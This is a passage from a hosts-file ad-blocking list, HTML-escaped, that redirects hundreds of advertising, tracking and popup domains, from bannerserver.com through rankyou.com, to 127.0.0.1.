bannerserver.com &lt;br /&gt;127.0.0.1 bannerserver.gator.com &lt;br /&gt;127.0.0.1 bannersgomlm.com &lt;br /&gt;127.0.0.1 bannersng.yell.com &lt;br /&gt;127.0.0.1 bannerspace.com &lt;br /&gt;127.0.0.1 bannerswap.com &lt;br /&gt;127.0.0.1 bannertesting.com &lt;br /&gt;127.0.0.1 bannieres.acces-contenu.com &lt;br /&gt;127.0.0.1 bans.bride.ru &lt;br /&gt;127.0.0.1 bansrv1.n1media.com &lt;br /&gt;127.0.0.1 barnesandnoble.bfast.com &lt;br /&gt;127.0.0.1 bbmedia.cz &lt;br /&gt;127.0.0.1 bbn.img.com.ua &lt;br /&gt;127.0.0.1 bestsearch.net &lt;br /&gt;127.0.0.1 bidclix.com &lt;br /&gt;127.0.0.1 bidclix.net &lt;br /&gt;127.0.0.1 bigads.guj.de &lt;br /&gt;127.0.0.1 bigbangmedia.com &lt;br /&gt;127.0.0.1 billboard.cz &lt;br /&gt;127.0.0.1 bizad.nikkeibp.co.jp &lt;br /&gt;127.0.0.1 bizban.net &lt;br /&gt;127.0.0.1 blast4traffic.com &lt;br /&gt;127.0.0.1 blazefind.com &lt;br /&gt;127.0.0.1 blogads.com &lt;br /&gt;127.0.0.1 bluehavenmedia.com &lt;br /&gt;127.0.0.1 bluestreak.com &lt;br /&gt;127.0.0.1 bm.annonce.cz &lt;br /&gt;127.0.0.1 bn.bfast.com &lt;br /&gt;127.0.0.1 bnr.volgocity.ru &lt;br /&gt;127.0.0.1 boom.ro &lt;br /&gt;127.0.0.1 bpath.com &lt;br /&gt;127.0.0.1 bravenet.com &lt;br /&gt;127.0.0.1 bridgetrack.com &lt;br /&gt;127.0.0.1 british-banners.com &lt;br /&gt;127.0.0.1 bs.yandex.ru &lt;br /&gt;127.0.0.1 bs001.gmx.net &lt;br /&gt;127.0.0.1 bs002.gmx.net &lt;br /&gt;127.0.0.1 bs003.gmx.net &lt;br /&gt;127.0.0.1 bs004.gmx.net &lt;br /&gt;127.0.0.1 bs005.gmx.net &lt;br /&gt;127.0.0.1 bs006.gmx.net &lt;br /&gt;127.0.0.1 bs007.gmx.net &lt;br /&gt;127.0.0.1 bs008.gmx.net &lt;br /&gt;127.0.0.1 bs009.gmx.net &lt;br /&gt;127.0.0.1 bs010.gmx.net &lt;br /&gt;127.0.0.1 bs011.gmx.net &lt;br /&gt;127.0.0.1 bs012.gmx.net &lt;br /&gt;127.0.0.1 bs013.gmx.net &lt;br /&gt;127.0.0.1 bs014.gmx.net &lt;br /&gt;127.0.0.1 bs015.gmx.net &lt;br /&gt;127.0.0.1 bs016.gmx.net &lt;br /&gt;127.0.0.1 bs017.gmx.net &lt;br /&gt;127.0.0.1 bs018.gmx.net &lt;br /&gt;127.0.0.1 bs019.gmx.net &lt;br /&gt;127.0.0.1 bs020.gmx.net &lt;br /&gt;127.0.0.1 bs021.gmx.net &lt;br /&gt;127.0.0.1 bs022.gmx.net &lt;br /&gt;127.0.0.1 bs023.gmx.net &lt;br /&gt;127.0.0.1 bs024.gmx.net &lt;br /&gt;127.0.0.1 bs025.gmx.net &lt;br /&gt;127.0.0.1 bs026.gmx.net &lt;br /&gt;127.0.0.1 bs027.gmx.net &lt;br /&gt;127.0.0.1 bs028.gmx.net &lt;br /&gt;127.0.0.1 bs029.gmx.net &lt;br /&gt;127.0.0.1 bs030.gmx.net &lt;br /&gt;127.0.0.1 bs031.gmx.net &lt;br /&gt;127.0.0.1 bs032.gmx.net &lt;br /&gt;127.0.0.1 bs033.gmx.net &lt;br /&gt;127.0.0.1 bs034.gmx.net &lt;br /&gt;127.0.0.1 bs035.gmx.net &lt;br /&gt;127.0.0.1 bs036.gmx.net &lt;br /&gt;127.0.0.1 bs037.gmx.net &lt;br /&gt;127.0.0.1 bs038.gmx.net &lt;br /&gt;127.0.0.1 bs039.gmx.net &lt;br /&gt;127.0.0.1 bs040.gmx.net &lt;br /&gt;127.0.0.1 bs041.gmx.net &lt;br /&gt;127.0.0.1 bs042.gmx.net &lt;br /&gt;127.0.0.1 bs043.gmx.net &lt;br /&gt;127.0.0.1 bs044.gmx.net &lt;br /&gt;127.0.0.1 bs045.gmx.net &lt;br /&gt;127.0.0.1 bs046.gmx.net &lt;br /&gt;127.0.0.1 bs047.gmx.net &lt;br /&gt;127.0.0.1 bs048.gmx.net &lt;br /&gt;127.0.0.1 bs049.gmx.net &lt;br /&gt;127.0.0.1 budsinc.com &lt;br /&gt;127.0.0.1 burstnet.akadns.net &lt;br /&gt;127.0.0.1 burstnet.com &lt;br /&gt;127.0.0.1 businessfactory.prospero.com &lt;br /&gt;127.0.0.1 c.bigmir.net &lt;br /&gt;127.0.0.1 c1.nowlinux.com &lt;br /&gt;127.0.0.1 candidclicks.com &lt;br /&gt;127.0.0.1 casalemedia.com &lt;br /&gt;127.0.0.1 casalmedia.com &lt;br /&gt;127.0.0.1 cash4banner.com &lt;br /&gt;127.0.0.1 cash4banner.de &lt;br /&gt;127.0.0.1 cash4popup.de &lt;br /&gt;127.0.0.1 cashfiesta.com &lt;br /&gt;127.0.0.1 cashpartner.com &lt;br /&gt;127.0.0.1 cashpartner.net &lt;br /&gt;127.0.0.1 casinogames.com &lt;br /&gt;127.0.0.1 casinorewards.com &lt;br /&gt;127.0.0.1 casinotraffic.com &lt;br /&gt;127.0.0.1 casinotreasure.com &lt;br /&gt;127.0.0.1 cat.clx.ru &lt;br /&gt;127.0.0.1 cben1.net &lt;br /&gt;127.0.0.1 cbx.net &lt;br /&gt;127.0.0.1 cdn2.adsdk.com &lt;br /&gt;127.0.0.1 centrport.net &lt;br /&gt;127.0.0.1 cgicounter.puretec.de &lt;br /&gt;127.0.0.1 ch.questionmarket.com &lt;br /&gt;127.0.0.1 chart.dk &lt;br /&gt;127.0.0.1 checkm8.com &lt;br /&gt;127.0.0.1 chestionar.ro &lt;br /&gt;127.0.0.1 ciaoclick.com &lt;br /&gt;127.0.0.1 cibleclick.com &lt;br /&gt;127.0.0.1 cityads.telus.net &lt;br /&gt;127.0.0.1 cj.com &lt;br /&gt;127.0.0.1 cjbmanagement.com &lt;br /&gt;127.0.0.1 claria.com &lt;br /&gt;127.0.0.1 click-fr.com &lt;br /&gt;127.0.0.1 click.absoluteagency.com &lt;br /&gt;127.0.0.1 click.fool.co.uk &lt;br /&gt;127.0.0.1 click.fool.com &lt;br /&gt;127.0.0.1 click.go2net.com &lt;br /&gt;127.0.0.1 click2freemoney.com &lt;br /&gt;127.0.0.1 click2paid.com &lt;br /&gt;127.0.0.1 click4click.com &lt;br /&gt;127.0.0.1 clickability.com &lt;br /&gt;127.0.0.1 clickagents.com &lt;br /&gt;127.0.0.1 clickbank.com &lt;br /&gt;127.0.0.1 clickbank.net &lt;br /&gt;127.0.0.1 clickbroker.com &lt;br /&gt;127.0.0.1 clickbrokers.com &lt;br /&gt;127.0.0.1 clickcash.webpower.com &lt;br /&gt;127.0.0.1 clickedyclick.com &lt;br /&gt;127.0.0.1 clickfinders.com &lt;br /&gt;127.0.0.1 clickforwebmasters.com &lt;br /&gt;127.0.0.1 clickhere.foronlinegames.com &lt;br /&gt;127.0.0.1 clickhereforcellphones.com &lt;br /&gt;127.0.0.1 clickhouse.com &lt;br /&gt;127.0.0.1 clickhype.com &lt;br /&gt;127.0.0.1 clickmedia.ro &lt;br /&gt;127.0.0.1 clicks.equantum.com &lt;br /&gt;127.0.0.1 clicks.jackpot.com &lt;br /&gt;127.0.0.1 clicks.mods.de &lt;br /&gt;127.0.0.1 clicks.stripsaver.com &lt;br /&gt;127.0.0.1 clickserve.cc-dt.com &lt;br /&gt;127.0.0.1 clicksor.com &lt;br /&gt;127.0.0.1 clickthrutraffic.com &lt;br /&gt;127.0.0.1 clicktracks.com &lt;br /&gt;127.0.0.1 clicktrade.com &lt;br /&gt;127.0.0.1 clickxchange.com &lt;br /&gt;127.0.0.1 clickz.com &lt;br /&gt;127.0.0.1 clictrafic.com &lt;br /&gt;127.0.0.1 clients.tbo.com &lt;br /&gt;127.0.0.1 clixgalore.com &lt;br /&gt;127.0.0.1 cnt.one.ru &lt;br /&gt;127.0.0.1 cnt1.pocitadlo.cz &lt;br /&gt;127.0.0.1 code-server.biz &lt;br /&gt;127.0.0.1 colonize.com &lt;br /&gt;127.0.0.1 comclick.com &lt;br /&gt;127.0.0.1 commission-junction.com &lt;br /&gt;127.0.0.1 commissionmonster.com &lt;br /&gt;127.0.0.1 commonname.com &lt;br /&gt;127.0.0.1 compactbanner.com &lt;br /&gt;127.0.0.1 comprabanner.it &lt;br /&gt;127.0.0.1 contextclick.com &lt;br /&gt;127.0.0.1 cookies.cmpnet.com &lt;br /&gt;127.0.0.1 cornflakes.pathfinder.com &lt;br /&gt;127.0.0.1 count.rin.ru &lt;br /&gt;127.0.0.1 counted.com &lt;br /&gt;127.0.0.1 counter.bloke.com &lt;br /&gt;127.0.0.1 counter.cnw.cz &lt;br /&gt;127.0.0.1 counter.cz &lt;br /&gt;127.0.0.1 counter.nowlinux.com &lt;br /&gt;127.0.0.1 counter.rambler.ru &lt;br /&gt;127.0.0.1 counter.search.bg &lt;br /&gt;127.0.0.1 counter.times.lv &lt;br /&gt;127.0.0.1 counter.webtrends.net &lt;br /&gt;127.0.0.1 counter.yadro.ru &lt;br /&gt;127.0.0.1 counters.honesty.com &lt;br /&gt;127.0.0.1 counts.tucows.com &lt;br /&gt;127.0.0.1 coupling-media.de &lt;br /&gt;127.0.0.1 crazypopups.com &lt;br /&gt;127.0.0.1 creative.whi.co.nz &lt;br /&gt;127.0.0.1 creatives.as4x.tmcs.net &lt;br /&gt;127.0.0.1 cserver.mii.instacontent.net &lt;br /&gt;127.0.0.1 ctnetwork.hu &lt;br /&gt;127.0.0.1 ctxtads.overture.com &lt;br /&gt;127.0.0.1 custom-click.com &lt;br /&gt;127.0.0.1 customad.cnn.com &lt;br /&gt;127.0.0.1 cyberbounty.com &lt;br /&gt;127.0.0.1 cybercount.com &lt;br /&gt;127.0.0.1 cybereps.com &lt;br /&gt;127.0.0.1 cybermonitor.com &lt;br /&gt;127.0.0.1 cydoor.com &lt;br /&gt;127.0.0.1 datingadvertising.com &lt;br /&gt;127.0.0.1 dbbsrv.com &lt;br /&gt;127.0.0.1 dcad.tnn.net &lt;br /&gt;127.0.0.1 dclk.net &lt;br /&gt;127.0.0.1 de.rottentomatoes.com &lt;br /&gt;127.0.0.1 dealhelper.com &lt;br /&gt;127.0.0.1 default-homepage-network.com &lt;br /&gt;127.0.0.1 deloo.de &lt;br /&gt;127.0.0.1 desktop.kazaa.com &lt;br /&gt;127.0.0.1 dgm2.com &lt;br /&gt;127.0.0.1 dgmaustralia.com &lt;br /&gt;127.0.0.1 dialerporn.com &lt;br /&gt;127.0.0.1 didtheyreadit.com &lt;br /&gt;127.0.0.1 digits.com &lt;br /&gt;127.0.0.1 direct-revenue.com &lt;br /&gt;127.0.0.1 direct.lbe.ru &lt;br /&gt;127.0.0.1 directleads.com &lt;br /&gt;127.0.0.1 directtrack.com &lt;br /&gt;127.0.0.1 directwebsearch.net &lt;br /&gt;127.0.0.1 discountclick.com &lt;br /&gt;127.0.0.1 divicash.com &lt;br /&gt;127.0.0.1 dnads.directnic.com &lt;br /&gt;127.0.0.1 domainsponsor.com &lt;br /&gt;127.0.0.1 domainsteam.de &lt;br /&gt;127.0.0.1 doubleclic.com &lt;br /&gt;127.0.0.1 doubleclick.com &lt;br /&gt;127.0.0.1 doubleclick.de &lt;br /&gt;127.0.0.1 doubleclick.net &lt;br /&gt;127.0.0.1 drinkmy.com &lt;br /&gt;127.0.0.1 dw.com.com &lt;br /&gt;127.0.0.1 e-bannerx.com &lt;br /&gt;127.0.0.1 e2give.com &lt;br /&gt;127.0.0.1 eadexchange.com &lt;br /&gt;127.0.0.1 eads.com &lt;br /&gt;127.0.0.1 ecoupons.com &lt;br /&gt;127.0.0.1 elitetoplist.com &lt;br /&gt;127.0.0.1 emarketer.com &lt;br /&gt;127.0.0.1 emarketmakers.com &lt;br /&gt;127.0.0.1 engage.everyone.net &lt;br /&gt;127.0.0.1 engage.omaha.com &lt;br /&gt;127.0.0.1 engine.awaps.net &lt;br /&gt;127.0.0.1 engine.espace.netavenir.com &lt;br /&gt;127.0.0.1 enginenetwork.com &lt;br /&gt;127.0.0.1 entercasino.com &lt;br /&gt;127.0.0.1 erotic-ad.com &lt;br /&gt;127.0.0.1 escati.linkopp.net &lt;br /&gt;127.0.0.1 eshopads2.com &lt;br /&gt;127.0.0.1 espotting.com &lt;br /&gt;127.0.0.1 estats.com &lt;br /&gt;127.0.0.1 etracker.de &lt;br /&gt;127.0.0.1 eu-adcenter.net &lt;br /&gt;127.0.0.1 euniverseads.com &lt;br /&gt;127.0.0.1 euro4banner.com &lt;br /&gt;127.0.0.1 europeanbanners.com &lt;br /&gt;127.0.0.1 euros4click.de &lt;br /&gt;127.0.0.1 eusta.de &lt;br /&gt;127.0.0.1 exchange-it.com &lt;br /&gt;127.0.0.1 exchange.bg &lt;br /&gt;127.0.0.1 exchangead.com &lt;br /&gt;127.0.0.1 exchangeclicksonline.com &lt;br /&gt;127.0.0.1 exit76.com &lt;br /&gt;127.0.0.1 exitexchange.com &lt;br /&gt;127.0.0.1 exitfuel.com &lt;br /&gt;127.0.0.1 ext4.price.ru &lt;br /&gt;127.0.0.1 extreme-dm.com &lt;br /&gt;127.0.0.1 eyeblaster-bs.com &lt;br /&gt;127.0.0.1 eyeblaster.com &lt;br /&gt;127.0.0.1 eyewonder.com &lt;br /&gt;127.0.0.1 ezula.com &lt;br /&gt;127.0.0.1 f1organizer.com &lt;br /&gt;127.0.0.1 falkag.de &lt;br /&gt;127.0.0.1 falkag.net &lt;br /&gt;127.0.0.1 fast-adv.it &lt;br /&gt;127.0.0.1 fastclick.com &lt;br /&gt;127.0.0.1 fastclick.com.edgesuite.net &lt;br /&gt;127.0.0.1 fastclick.net &lt;br /&gt;127.0.0.1 fastcounter.bcentral.com &lt;br /&gt;127.0.0.1 feedbackresearch.com &lt;br /&gt;127.0.0.1 ffxcam.fairfax.com.au &lt;br /&gt;127.0.0.1 findcommerce.com &lt;br /&gt;127.0.0.1 findyourcasino.com &lt;br /&gt;127.0.0.1 fineclicks.com &lt;br /&gt;127.0.0.1 first.nova.cz &lt;br /&gt;127.0.0.1 flexbanner.com &lt;br /&gt;127.0.0.1 flowgo.com &lt;br /&gt;127.0.0.1 fmads.osdn.com &lt;br /&gt;127.0.0.1 focalex.com &lt;br /&gt;127.0.0.1 fragmentserv.iac-online.de &lt;br /&gt;127.0.0.1 free-banners.com &lt;br /&gt;127.0.0.1 freebanner.com &lt;br /&gt;127.0.0.1 freelogs.com &lt;br /&gt;127.0.0.1 freestat.pl &lt;br /&gt;127.0.0.1 freestats.com &lt;br /&gt;127.0.0.1 freewebcounter.com &lt;br /&gt;127.0.0.1 *BLEEP*-access.com &lt;br /&gt;127.0.0.1 g-wizzads.net &lt;br /&gt;127.0.0.1 galaxien.com &lt;br /&gt;127.0.0.1 gamblingbanner.com &lt;br /&gt;127.0.0.1 gamehouse.com &lt;br /&gt;127.0.0.1 gator.com &lt;br /&gt;127.0.0.1 gcads.osdn.com &lt;br /&gt;127.0.0.1 gcirm.californianonline.com &lt;br /&gt;127.0.0.1 gemius.pl &lt;br /&gt;127.0.0.1 giftsky.org &lt;br /&gt;127.0.0.1 globaltrack.com &lt;br /&gt;127.0.0.1 go-clicks.de &lt;br /&gt;127.0.0.1 goingplatinum.com &lt;br /&gt;127.0.0.1 gold.weborama.fr &lt;br /&gt;127.0.0.1 goldstats.com &lt;br /&gt;127.0.0.1 googlesyndication.com &lt;br /&gt;127.0.0.1 gorillanation.com &lt;br /&gt;127.0.0.1 gostats.com &lt;br /&gt;127.0.0.1 gp.dejanews.com &lt;br /&gt;127.0.0.1 grafstat.ro &lt;br /&gt;127.0.0.1 herbalaffiliateprogram.com &lt;br /&gt;127.0.0.1 hexusads.fluent.ltd.uk &lt;br /&gt;127.0.0.1 hightrafficads.com &lt;br /&gt;127.0.0.1 hit.bg &lt;br /&gt;127.0.0.1 hit.gemius.pl &lt;br /&gt;127.0.0.1 hit.webcentre.lycos.co.uk &lt;br /&gt;127.0.0.1 hitbox.com &lt;br /&gt;127.0.0.1 hitcents.com &lt;br /&gt;127.0.0.1 hitexchange.net &lt;br /&gt;127.0.0.1 hitfarm.com &lt;br /&gt;127.0.0.1 hitlist.ru &lt;br /&gt;127.0.0.1 hitlogger.com &lt;br /&gt;127.0.0.1 hitlounge.com &lt;br /&gt;127.0.0.1 hitometer.com &lt;br /&gt;127.0.0.1 hits4me.com &lt;br /&gt;127.0.0.1 hitslink.com &lt;br /&gt;127.0.0.1 hotlog.ru &lt;br /&gt;127.0.0.1 hotrank.com.tw &lt;br /&gt;127.0.0.1 hotstatistics.com &lt;br /&gt;127.0.0.1 httpads.com &lt;br /&gt;127.0.0.1 httpool.com &lt;br /&gt;127.0.0.1 humanclick.com &lt;br /&gt;127.0.0.1 hurricanedigitalmedia.com &lt;br /&gt;127.0.0.1 hyperbanner.net &lt;br /&gt;127.0.0.1 hypercount.com &lt;br /&gt;127.0.0.1 i-clicks.net &lt;br /&gt;127.0.0.1 i1img.com &lt;br /&gt;127.0.0.1 iad.liveperson.net &lt;br /&gt;127.0.0.1 iadnet.com &lt;br /&gt;127.0.0.1 idot.cz &lt;br /&gt;127.0.0.1 igads.no.publicus.com &lt;br /&gt;127.0.0.1 ilbanner.com &lt;br /&gt;127.0.0.1 ilead.itrack.it &lt;br /&gt;127.0.0.1 iliillliO00OO0.321.cn &lt;br /&gt;127.0.0.1 image.ugo.com &lt;br /&gt;127.0.0.1 imageads.canoe.ca &lt;br /&gt;127.0.0.1 images.v3.com &lt;br /&gt;127.0.0.1 imaginemedia.com &lt;br /&gt;127.0.0.1 img.bannersxchange.com &lt;br /&gt;127.0.0.1 imonitor.nethost.cz &lt;br /&gt;127.0.0.1 imprese.cz &lt;br /&gt;127.0.0.1 impressionz.co.uk &lt;br /&gt;127.0.0.1 imrworldwide.com &lt;br /&gt;127.0.0.1 inboxdollars.com &lt;br /&gt;127.0.0.1 inc.com &lt;br /&gt;127.0.0.1 indieclick.com &lt;br /&gt;127.0.0.1 industrybrains.com &lt;br /&gt;127.0.0.1 inet-traffic.com &lt;br /&gt;127.0.0.1 infinite-ads.com &lt;br /&gt;127.0.0.1 information.com &lt;br /&gt;127.0.0.1 insightexpress.com &lt;br /&gt;127.0.0.1 instacontent.net &lt;br /&gt;127.0.0.1 instantmadness.com &lt;br /&gt;127.0.0.1 intelliads.com &lt;br /&gt;127.0.0.1 intellitxt.com &lt;br /&gt;127.0.0.1 internet-optimizer.com &lt;br /&gt;127.0.0.1 internetfuel.com &lt;br /&gt;127.0.0.1 interreklame.de &lt;br /&gt;127.0.0.1 ip.ro &lt;br /&gt;127.0.0.1 ireklama.cz &lt;br /&gt;127.0.0.1 is.casalemedia.com &lt;br /&gt;127.0.0.1 itadnetwork.co.uk &lt;br /&gt;127.0.0.1 itbannerexchange.com &lt;br /&gt;127.0.0.1 itfarm.com &lt;br /&gt;127.0.0.1 itop.cz &lt;br /&gt;127.0.0.1 iwin.com &lt;br /&gt;127.0.0.1 j.2004cms.com &lt;br /&gt;127.0.0.1 jbeet.cjt1.net &lt;br /&gt;127.0.0.1 jcontent.bns1.net &lt;br /&gt;127.0.0.1 jcount.com &lt;br /&gt;127.0.0.1 jedonkey.cjt1.net &lt;br /&gt;127.0.0.1 jinisearch.co.uk &lt;br /&gt;127.0.0.1 jkazaa.cjt1.net &lt;br /&gt;127.0.0.1 jnova.cjt1.net &lt;br /&gt;127.0.0.1 joetec.net &lt;br /&gt;127.0.0.1 jokedollars.com &lt;br /&gt;127.0.0.1 justwebads.com &lt;br /&gt;127.0.0.1 kanoodle.com &lt;br /&gt;127.0.0.1 kliks.nl &lt;br /&gt;127.0.0.1 klipads.dvlabs.com &lt;br /&gt;127.0.0.1 kliptracker.com &lt;br /&gt;127.0.0.1 klix.cz &lt;br /&gt;127.0.0.1 labeldaily.com &lt;br /&gt;127.0.0.1 laih.com &lt;br /&gt;127.0.0.1 lbn.ru &lt;br /&gt;127.0.0.1 leadingedgecash.com &lt;br /&gt;127.0.0.1 lightningcast.net &lt;br /&gt;127.0.0.1 lightspeedcash.com &lt;br /&gt;127.0.0.1 link4ads.com &lt;br /&gt;127.0.0.1 linkbuddies.com &lt;br /&gt;127.0.0.1 linkexchange.com &lt;br /&gt;127.0.0.1 linkexchange.ru &lt;br /&gt;127.0.0.1 linkprice.com &lt;br /&gt;127.0.0.1 linkreferral.com &lt;br /&gt;127.0.0.1 linksponsor.com &lt;br /&gt;127.0.0.1 linkswaper.com &lt;br /&gt;127.0.0.1 linksynergy.com &lt;br /&gt;127.0.0.1 liquidad.narrowcastmedia.com &lt;br /&gt;127.0.0.1 lnads.osdn.com &lt;br /&gt;127.0.0.1 log.btopenworld.com &lt;br /&gt;127.0.0.1 log.go.com &lt;br /&gt;127.0.0.1 logging.to &lt;br /&gt;127.0.0.1 logs.erasmas.com &lt;br /&gt;127.0.0.1 look2me.com &lt;br /&gt;127.0.0.1 lop.com &lt;br /&gt;127.0.0.1 lstat.susanin.com &lt;br /&gt;127.0.0.1 m.doubleclick.net &lt;br /&gt;127.0.0.1 mads.gamespot.com &lt;br /&gt;127.0.0.1 mainos2.mtv3.fi &lt;br /&gt;127.0.0.1 marketbanker.com &lt;br /&gt;127.0.0.1 marketing.centrebet.com &lt;br /&gt;127.0.0.1 marketing.nyi.com &lt;br /&gt;127.0.0.1 marketing.nyi.net &lt;br /&gt;127.0.0.1 marketscore.com &lt;br /&gt;127.0.0.1 mastermind.com &lt;br /&gt;127.0.0.1 masterstats.com &lt;br /&gt;127.0.0.1 matchcraft.com &lt;br /&gt;127.0.0.1 maximumcash.com &lt;br /&gt;127.0.0.1 maxserving.com &lt;br /&gt;127.0.0.1 mbuyu.nl &lt;br /&gt;127.0.0.1 media-adrunner.mycomputer.com &lt;br /&gt;127.0.0.1 media-motor.net &lt;br /&gt;127.0.0.1 media.bigstep.com &lt;br /&gt;127.0.0.1 media.ftv-publicite.fr &lt;br /&gt;127.0.0.1 mediacharger.com &lt;br /&gt;127.0.0.1 mediadvertising.ro &lt;br /&gt;127.0.0.1 mediageneral.com &lt;br /&gt;127.0.0.1 mediamgr.ugo.com &lt;br /&gt;127.0.0.1 mediaplazza.com &lt;br /&gt;127.0.0.1 mediaplex.com &lt;br /&gt;127.0.0.1 mediascale.de &lt;br /&gt;127.0.0.1 mediavantage.de &lt;br /&gt;127.0.0.1 megacash.de &lt;br /&gt;127.0.0.1 megago.com &lt;br /&gt;127.0.0.1 megawerbung.de &lt;br /&gt;127.0.0.1 memorix.sdv.fr &lt;br /&gt;127.0.0.1 metaad.econet.hu &lt;br /&gt;127.0.0.1 metrics.webcriteria.net &lt;br /&gt;127.0.0.1 microstatic.pl &lt;br /&gt;127.0.0.1 microticker.com &lt;br /&gt;127.0.0.1 mindseti.com &lt;br /&gt;127.0.0.1 mirror.qkimg.net &lt;br /&gt;127.0.0.1 mjxads.internet.com &lt;br /&gt;127.0.0.1 mkt.cz &lt;br /&gt;127.0.0.1 mojobucks.com &lt;br /&gt;127.0.0.1 monsterpops.com &lt;br /&gt;127.0.0.1 mostcash.com &lt;br /&gt;127.0.0.1 ms-links.com &lt;br /&gt;127.0.0.1 msads.net &lt;br /&gt;127.0.0.1 mtree.com &lt;br /&gt;127.0.0.1 multi1.rmuk.co.uk &lt;br /&gt;127.0.0.1 musiccounter.ru &lt;br /&gt;127.0.0.1 myaffiliateprogram.com &lt;br /&gt;127.0.0.1 mystat.pl &lt;br /&gt;127.0.0.1 mytrix.com &lt;br /&gt;127.0.0.1 n69.com &lt;br /&gt;127.0.0.1 naj.sk &lt;br /&gt;127.0.0.1 navrcholu.cz &lt;br /&gt;127.0.0.1 nedstat.com &lt;br /&gt;127.0.0.1 nedstat.nl &lt;br /&gt;127.0.0.1 nedstatbasic.net &lt;br /&gt;127.0.0.1 netads.hotwired.com &lt;br /&gt;127.0.0.1 netads.sohu.com &lt;br /&gt;127.0.0.1 netdirect.nl &lt;br /&gt;127.0.0.1 netpool.netbookia.net &lt;br /&gt;127.0.0.1 netvertising.be &lt;br /&gt;127.0.0.1 network.realmedia.com &lt;br /&gt;127.0.0.1 new-ads.eurogamer.net &lt;br /&gt;127.0.0.1 newads.cmpnet.com &lt;br /&gt;127.0.0.1 newnet.qsrch.com &lt;br /&gt;127.0.0.1 newtopsites.com &lt;br /&gt;127.0.0.1 ng3.ads.warnerbros.com &lt;br /&gt;127.0.0.1 ngadcenter.net &lt;br /&gt;127.0.0.1 nitroclicks.com &lt;br /&gt;127.0.0.1 nsads.hotwired.com &lt;br /&gt;127.0.0.1 ntbanner.digitalriver.com &lt;br /&gt;127.0.0.1 oas-central.realmedia.com &lt;br /&gt;127.0.0.1 oas.benchmark.fr &lt;br /&gt;127.0.0.1 oas.foxnews.com &lt;br /&gt;127.0.0.1 oas.roanoke.com &lt;br /&gt;127.0.0.1 oas.salon.com &lt;br /&gt;127.0.0.1 oas.signonsandiego.com &lt;br /&gt;127.0.0.1 oas.toronto.com &lt;br /&gt;127.0.0.1 oas.uniontrib.com &lt;br /&gt;127.0.0.1 oas.villagevoice.com &lt;br /&gt;127.0.0.1 oascentral.chicagobusiness.com &lt;br /&gt;127.0.0.1 oascentral.redherring.com &lt;br /&gt;127.0.0.1 oascentral.theonion.com &lt;br /&gt;127.0.0.1 oascentral.thesmokinggun.com &lt;br /&gt;127.0.0.1 oasis.promon.cz &lt;br /&gt;127.0.0.1 observer.cz &lt;br /&gt;127.0.0.1 offeroptimizer.com &lt;br /&gt;127.0.0.1 oneandonlynetwork.com &lt;br /&gt;127.0.0.1 onestat.com &lt;br /&gt;127.0.0.1 onresponse.com &lt;br /&gt;127.0.0.1 openad.infobel.com &lt;br /&gt;127.0.0.1 openad.travelnow.com &lt;br /&gt;127.0.0.1 overpeer.com &lt;br /&gt;127.0.0.1 overpro.com &lt;br /&gt;127.0.0.1 overture.com &lt;br /&gt;127.0.0.1 oxcash.com &lt;br /&gt;127.0.0.1 p5.omaha.com &lt;br /&gt;127.0.0.1 partner-ads.com &lt;br /&gt;127.0.0.1 partner-source.com &lt;br /&gt;127.0.0.1 partner.gonamic.de &lt;br /&gt;127.0.0.1 partner.topcities.com &lt;br /&gt;127.0.0.1 partner2profit.com &lt;br /&gt;127.0.0.1 partnerkonto.de &lt;br /&gt;127.0.0.1 partners.priceline.com &lt;br /&gt;127.0.0.1 partners.starnetsystems.net &lt;br /&gt;127.0.0.1 paycounter.com &lt;br /&gt;127.0.0.1 paypopup.com &lt;br /&gt;127.0.0.1 payserve.com &lt;br /&gt;127.0.0.1 pbnet.ru &lt;br /&gt;127.0.0.1 pcwizz.com &lt;br /&gt;127.0.0.1 pennyweb.com &lt;br /&gt;127.0.0.1 phoenix-adrunner.mycomputer.com &lt;br /&gt;127.0.0.1 phpads.i-merge.net &lt;br /&gt;127.0.0.1 pillscash.com &lt;br /&gt;127.0.0.1 pimproll.com &lt;br /&gt;127.0.0.1 planetactive.com &lt;br /&gt;127.0.0.1 play4traffic.com &lt;br /&gt;127.0.0.1 pointroll.com &lt;br /&gt;127.0.0.1 pops.freeze.com &lt;br /&gt;127.0.0.1 popup.msn.com &lt;br /&gt;127.0.0.1 popupad.net &lt;br /&gt;127.0.0.1 popupmoney.com &lt;br /&gt;127.0.0.1 popupnation.com &lt;br /&gt;127.0.0.1 popups.infostart.com &lt;br /&gt;127.0.0.1 popupsponsor.com &lt;br /&gt;127.0.0.1 popuptraffic.com &lt;br /&gt;127.0.0.1 porntrack.com &lt;br /&gt;127.0.0.1 postmasterbannernet.com &lt;br /&gt;127.0.0.1 precisioncounter.com &lt;br /&gt;127.0.0.1 premium-offers.com &lt;br /&gt;127.0.0.1 premiumcash.de &lt;br /&gt;127.0.0.1 primaryads.com &lt;br /&gt;127.0.0.1 primetime.net &lt;br /&gt;127.0.0.1 pro-advertising.com &lt;br /&gt;127.0.0.1 profero.com &lt;br /&gt;127.0.0.1 professorbanner.com &lt;br /&gt;127.0.0.1 promote.pair.com &lt;br /&gt;127.0.0.1 promozia.de &lt;br /&gt;127.0.0.1 provexia.com &lt;br /&gt;127.0.0.1 psstt.com &lt;br /&gt;127.0.0.1 pub-g.ifrance.com &lt;br /&gt;127.0.0.1 pub.club-internet.fr &lt;br /&gt;127.0.0.1 pub.hardware.fr &lt;br /&gt;127.0.0.1 pub.realmedia.fr &lt;br /&gt;127.0.0.1 publi.grupocorreo.es &lt;br /&gt;127.0.0.1 publi1.grupocorreo.es &lt;br /&gt;127.0.0.1 publi2.grupocorreo.es &lt;br /&gt;127.0.0.1 publiads.com &lt;br /&gt;127.0.0.1 publicidad.elmundo.es &lt;br /&gt;127.0.0.1 publicidad.ya.com &lt;br /&gt;127.0.0.1 pubs.branchez-vous.com &lt;br /&gt;127.0.0.1 pubs.lemonde.fr &lt;br /&gt;127.0.0.1 q.azcentral.com &lt;br /&gt;127.0.0.1 qckjmp.com &lt;br /&gt;127.0.0.1 qksrv.net &lt;br /&gt;127.0.0.1 quarterserver.de &lt;br /&gt;127.0.0.1 questaffiliates.net &lt;br /&gt;127.0.0.1 quinst.com &lt;br /&gt;127.0.0.1 r.hotwired.com &lt;br /&gt;127.0.0.1 r.kde.cz &lt;br /&gt;127.0.0.1 rad.msn.com &lt;br /&gt;127.0.0.1 radiate.com &lt;br /&gt;127.0.0.1 rampidads.com &lt;br /&gt;127.0.0.1 ranking-charts.de &lt;br /&gt;127.0.0.1 ranking-hits.de &lt;br /&gt;127.0.0.1 rankyou.com &lt;br 